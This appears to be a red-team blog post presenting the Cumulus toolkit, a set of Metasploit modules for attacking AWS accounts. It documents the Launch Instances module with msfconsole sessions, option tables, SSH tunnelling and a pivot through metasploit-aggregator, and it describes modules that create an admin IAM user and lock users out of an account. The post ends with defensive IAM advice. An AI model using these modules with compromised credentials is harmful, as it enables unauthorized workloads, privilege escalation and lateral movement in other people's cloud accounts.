The Cumulus Toolkit – Launch Instances Module

There are times when having owned a Cloud account (complete account takeover, see this post) is not enough. In some cases, there may not be many resources in the account or data in the account are, from a security standpoint, simply uninteresting. However, the Blast Radius of a compromised account may extend to other accounts, datacenters and/or other hosts, if the compromised account has VPC peers, a persistent VPN connection and/or other network tunnels. Here we present the Launch Instances module, a module for running unauthorized workloads, which can be used to traverse into a VPC peer, escalate privileges and/or launch other unauthorized workloads.

Code here:


Shell #1:

 > use auxiliary/admin/aws/aws_launch_instances
 > set AccessKeyId ...
 > set SecretAccessKey ...
 > set SSH_PUB_KEY ssh-rsa ABCDEDG123...
 > run
 [*] Created security group: sg-abcdefg
 [*] Launching instance(s) in us-west-2, AMI: ami-1e299d7e, key pair name: admin, security group: sg-abcdefg, subnet ID: subnet-hijklmn
 [*] Launched instance i-12345678 in us-west-2 account 012345678900
 [*] instance i-12345678 status: initializing
 [*] instance i-12345678 status: ok
 [*] Instance i-12345678 has IP adrress
 [*] Auxiliary module execution completed

Shell #2:

 ssh ec2-user@ -L 2447:

Shell #1 again:

 > load aggregator
 > aggregator_connect

For more information on metasploit-aggregator, see


AWS API Access Keys

API access keys can be used to make calls against the AWS API, to say
retrieve deployment packages from S3.


The VPC or Virtual Private Cloud, an isolated local area network. Network access
can be made available by assigning an Internet routable IP address to a host or
routing traffic to it through an ELB (Elastic Load Balancer). In either case
security-groups are used to open access to network ranges and specific TPC/UDP
ports. Security-groups provide much of the functionality of traditional firewalls
and can be configured by specifyig a protocol, a CIDR and a port.

How it Works

Although hosts can be launched using the
Web console or the CLI, launching a host in the Cloud requires a fair
amount of configuration; this module does its best to abstract configuration
requirements away from the user by auto detecting the VPC, subnets, creating
security groups, etc. It performs several tasks to launch a host with
a public IP address, these are as follow: 1) select a VPC, 2) select a subnet, 3)
create/select a security group, 4) create/select a key-pair, and 5) launch
a host.

The module will attempt to launch the host in the first VPC it finds in the
given region (`Region` option). Most of the time there is only one VPC per
account per region, however one might find multiple VPCs within the same region.
In this case, one may use the `VPC_ID` advanced option to specify the VPC to
use. Selecting a subnet is a bit more complicated. To have traffic routed
between us and the Cloud host, a public subnet (a subnet that is routable to an
Internet gateway) must be selected and the Cloud host must be associated with
an Internet routable IP address. The module dynamically finds which subnet to
launch the host in. It will use the first subnet it finds having the
`Auto-assign Public IP` option set, if no such subnet exists, then it will
select the first subnet having an Internet gateway. To circumvent this process,
the `SUBNET_ID` advanced option can be set.

When launching a Cloud host at least one security group is required. There are
several advanced options for creating/selecting a security group. The
`SEC_GROUP_ID` option works much in the same way the `VPC_ID` option does.
That is, the module will create a security group unless the `SEC_GROUP_ID`
options is set. If the `SEC_GROUP_ID` option is not set, the module will attempt
to create a security group using the values specified in the `SEC_GROUP_CIDR`,
`SEC_GROUP_NAME`, and `SEC_GROUP_PORT` options as configuration.

The `KEY_NAME` and `SSH_PUB_KEY` options are used in conjunction to select or
create a key-pair (a named SSH public key). Key-pairs are used to authenticate
to the host once it is running. The `KEY_NAME` defaults to admin while
`SSH_PUB_KEY` is optional. If the `SSH_PUB_KEY` is left unset, then the module
will not attempt to create a key-pair and will simply attempt to launch the
instance using an existing key-pair denoted by `KEY_NAME`. To set the
`SSH_PUB_KEY` option, a public SSH key must be provided as can be generated by
`ssh-keygen -y -f <private key filename>`. Once a key-pair is created/selected,
the module launches the host via the AWS API specifying that it should
associate a public IP address.

As part of launching the host it passes user-data (shell script) that installs
metasploit-aggregator and runs it in a screen session.


The Launch Instances module is an auxiliary module that can be loaded using the
use command. To run the module, only the `AccessKeyId`, `SecretAccessKey`, and
`KEY_NAME` options are required.

Basic Options:

* `AMI_ID`: The Amazon Machine Image (AMI) ID (region dependent)
* `RHOST`: the AWS EC2 Endpoint (, may change this to something closer to you
* `Region`: The default region (us-west-2), must match endpoint
* `AccessKeyId`: AWS API access key
* `SecretAccessKey`: AWS API secret access key
* `Token`: AWS API session token, optional
* `KEY_NAME`: The SSH key to be used for ec2-user
* `SSH_PUB_KEY`: The public SSH key to be used for ec2-user, e.g., “ssh-rsa ABCDE…”
* `USERDATA_FILE`: The script that will be executed on start

Advanced Options:

* `INSTANCE_TYPE`: The instance type
* `MaxCount`: Maximum number of instances to launch
* `MinCount`: Minumum number of instances to launch
* `ROLE_NAME`: The instance profile/role name
* `RPORT:` AWS EC2 Endpoint TCP Port
* `SEC_GROUP_ID`: the EC2 security group to use
* `SEC_GROUP_CIDR`: the EC2 security group network access CIDR, defaults to
* `SEC_GROUP_NAME`: the EC2 security group name
* `SEC_GROUP_PORT`: the EC2 security group network access port, defaults to tcp:22
* `SUBNET_ID`: The public subnet to use
* `UserAgent`: The User-Agent header to use for all requests
* `VPC_ID`: The EC2 VPC ID


The Launch Instances module is an auxiliary module that can be loaded using the
use command. To run the module, only the `AccessKeyId`, `SecretAccessKey`, and
`KEY_NAME` options are required.

 msf > use auxiliary/admin/aws/aws_launch_instances
 msf auxiliary(aws_launch_instances) > show options

Module options (auxiliary/admin/aws/aws_launch_instances):

Name             Current Setting              Required  Description
 ----             ---------------              --------  -----------
 AMI_ID           ami-1e299d7e                 yes       The Amazon Machine Image (AMI) ID
 AccessKeyId                                   yes       AWS access key
 KEY_NAME         admin                        yes       The SSH key to be used for ec2-user
 Proxies                                       no        A proxy chain of format type:host:port[,type:host:port][...]
 RHOST    yes       AWS region specific EC2 endpoint
 Region           us-west-2                    yes       The default region
 SSH_PUB_KEY                                   no        The public SSH key to be used for ec2-user, e.g., "ssh-rsa ABCDE..."
 SecretAccessKey                               yes       AWS secret key
 Token                                         no        AWS session token
 USERDATA_FILE                                 no        The script that will be executed on start

msf auxiliary(aws_launch_instances) > set SecretAccessKey asdfasd+asdfasdfasd...
 SecretAccessKey => asdfasd+asdfasdfasd...
 msf auxiliary(aws_launch_instances) > set AccessKeyId AKIAAKIAAKIAAKIAAKIAA
 msf auxiliary(aws_launch_instances) > set KEY_NAME ec2-user-key
 KEY_NAME => ec2-user-key
 msf auxiliary(aws_launch_instances) > set SSH_PUB_KEY ssh-rsa ABCDEDG123...
 SSH_PUB_KEY => ssh-rsa ABCDEDG123...
 msf auxiliary(aws_launch_instances) > run

[*] Created ec2-user-key (ab:cd:ef:12:34:56:78:90:ab:ac:ad:ab:a1:23:45:67)
 [*] Created security group: sg-12345678
 [*] Launching instance(s) in us-west-2, AMI: ami-1e299d7e, key pair name: ec2-user, security group: sg-12345678, subnet ID: subnet-abcdefgh
 [*] Launched instance i-12345678 in us-west-2 account 123456789012
 [*] instance i-12345678 status: initializing
 [*] instance i-12345678 status: initializing
 [*] instance i-12345678 status: ok
 [*] Instance i-12345678 has IP address
 [*] Auxiliary module execution completed

When the host has passed its primary system checks, the IP address will be
displayed. We can use this IP address to SSH to the host. Please note that
most users will want to set the `SEC_GROUP_CIDR` option to restrict access to
our new Cloud host.

To SSH into the host, you must specify the SSH key, and ec2-user username, e.g.,

 $ ssh -i ec2-user-key ec2-user@ -L 2447:
 The authenticity of host ' (' can't be established.
 ECDSA key fingerprint is SHA256:ePj6WtCeK...
 Are you sure you want to continue connecting (yes/no)? yes
 Warning: Permanently added '' (ECDSA) to the list of known hosts.
 __|  __|_  )
 _|  (     /   Amazon Linux AMI
 5 package(s) needed for security, out of 9 available
 Run "sudo yum update" to apply all updates.
 [ec2-user@ip-172-31-8-176 ~]$

Back in the Metasploit console you can now connect via aggregator:

 msf auxiliary(aws_launch_instances) > load aggregator
 msf auxiliary(aws_launch_instances) > aggregator_connect
 [*] Connecting to Aggregator instance at
 msf auxiliary(aws_launch_instances) >

Formation of the Cumulus Toolkit

Just got home after a busy week at RSA 2017 and wanted to recap our presentation and expand on some issues. If you’d like to checkout the video, here it is.

The Cloud gives us the power we need to crush those who oppose us… well not really, but I really do love how easy it is to spin up resources on demand and how easy it is to deploy my application. I can literally go from zero infrastructure to a highly available application within minutes. This power and ease however does come at a price as it is very easy to be insecure in the Cloud.  Anyone that has ever uploaded their API access keys to GitHub knows what a nightmare this can be [1], [2], [3].

There are many players in the Cloud Services Provider space, but one stands alone. Amazon Web Services (AWS) has many times more computing capacity than its fourteen largest competitors combined [4]. It is for this reason that we concentrate on AWS and will use AWS, and the Cloud interchangeably from here on.

Many of us have been living in the safe confines of our datacenters for far too long. Datacenters usually have strict configuration management, intrusion detection systems, and processes for making changes that impact network security such as opening access through the firewall. As DevOps engineers, this crunchy outer shell tends to make us feel safe and could detach us from owning our own security. Guess what, in the Cloud there is no such crunchy shell and there is little configuration management when it comes to restricting/managing whom make changes, as separation of duties has certain challenges in the Cloud.

The cloud is growing rapidly and there are a lot of folks jumping on the band wagon whom may not have a good grasp of the attack surface. The combination of this new attack surface and lack of understanding results in insecure apps making it to production, which is low hanging fruit for attackers.

Identity and Access Management

Identity and Access Management (IAM) in the Cloud is part of the new attack surface and is easy to get it wrong. IAM is used to control who has access to what and policies codify this access. Access policies can be applied to users, groups, and roles and have an Effect: allow or deny, Action: specific API actions, Resources: the things we are controlling access to, and Conditions: additional controls for restricting access.

The way we see it, there are three types of policies. The Good, a minimum privileges policy that specifies resources and makes use of conditions. The Bad, where wild cards are used to give wide access to every action available on a service and where we begin to commingle IAM access with DevOps access, and finally, The Ugly. This is the infamous star-dot-star (*.*) policy which allows any action on any resource without making use of conditions. So, how do you determine if your policies implement minimum privileges or are otherwise not bad or ugly? The approach we have taken to determine if we if we have a bad or ugly policy is red teaming, i.e., we actively attempt to take over accounts where we see weaknesses. This allows us to concentrate on the most atrocious misuses of IAM so that DevOps engineers concentrate on fixing the most dangerous configurations.

The Cumulus Toolkit

We used to do much of our red teaming tasks by hand and have noticed a there is a lack of tools for testing the security of Cloud deployments, so we have taken the time to automate our attacks. We are in the process of developing the cumulus toolkit, a cloud exploitation toolkit which is based on Metasploit, an open source exploitation framework.

At RSA we showcased and demonstrated a few Cumulus modules. The first is the CIAMU (Create IAM User) module, a post exploitation module used to create an IAM user with admin privileges. The second module is the Launch Instances Modules. Often, we compromise a host or access keys that have EC2 privileges and so they may allow us to launch an instance with elevated privileges. We can then use this new access to escalate privileges further. Lastly, we have the IAM account lockout module. This is the most evil module of them all. It can be used to lock all other users out of an account. A word of caution, never use this module in a production environment as it will remove all users’ passwords and disable their access keys.

For more information about Cumulus please follow development here:


AWS does give us everything we need to secure our environments. IAM is very granular and has controls to restrict where API access keys can be used from. Issues raised here and in our presentation, are really education and awareness issues that can be addressed with proper training. A useful strategy for developing IAM policy and potentially staying safe from these attacks is to put the attacker hat on and try to think of ways bad guys can take advantage of your controls. Think about blast radius containment, read the docs especially for IAM and lastly try not to be the guinea pig; just because there is a new sexy service that everybody is talking about, it doesn’t mean that you should make use of it in your critical applications.

* Presentation:
* Slides:

Works Cited

[1]  D. Pauli, “Dev put AWS keys on Github. Then BAD THINGS happened,” The Register , 6 January 2015. [Online]. Available: dev_blunder_shows_github_crawling_with_k eyslurping_bots/ . [Accessed 5 January 2017].
[2]  S. Gooding, “Ryan Hellyer’s AWS Nightmare: Leaked Access Keys Result in a $6,000 Bill Overnight,” WP Tavern , 26 September 2014. [Online]. Available: . [Accessed 5 January 2017].
[3]  M. Kotadia, “AWS urges developers to scrub GitHub of secret keys,” iTnews, 24 March 2014. [Online]. Available: . [Accessed 5 January 2017].
[4]  L. Leong, G. Petri, B. Gill and M. Dorosh, “Magic Quadrant for Cloud Infrastructure as a Service, Worldwide,” Gartner, Stamford, 2016.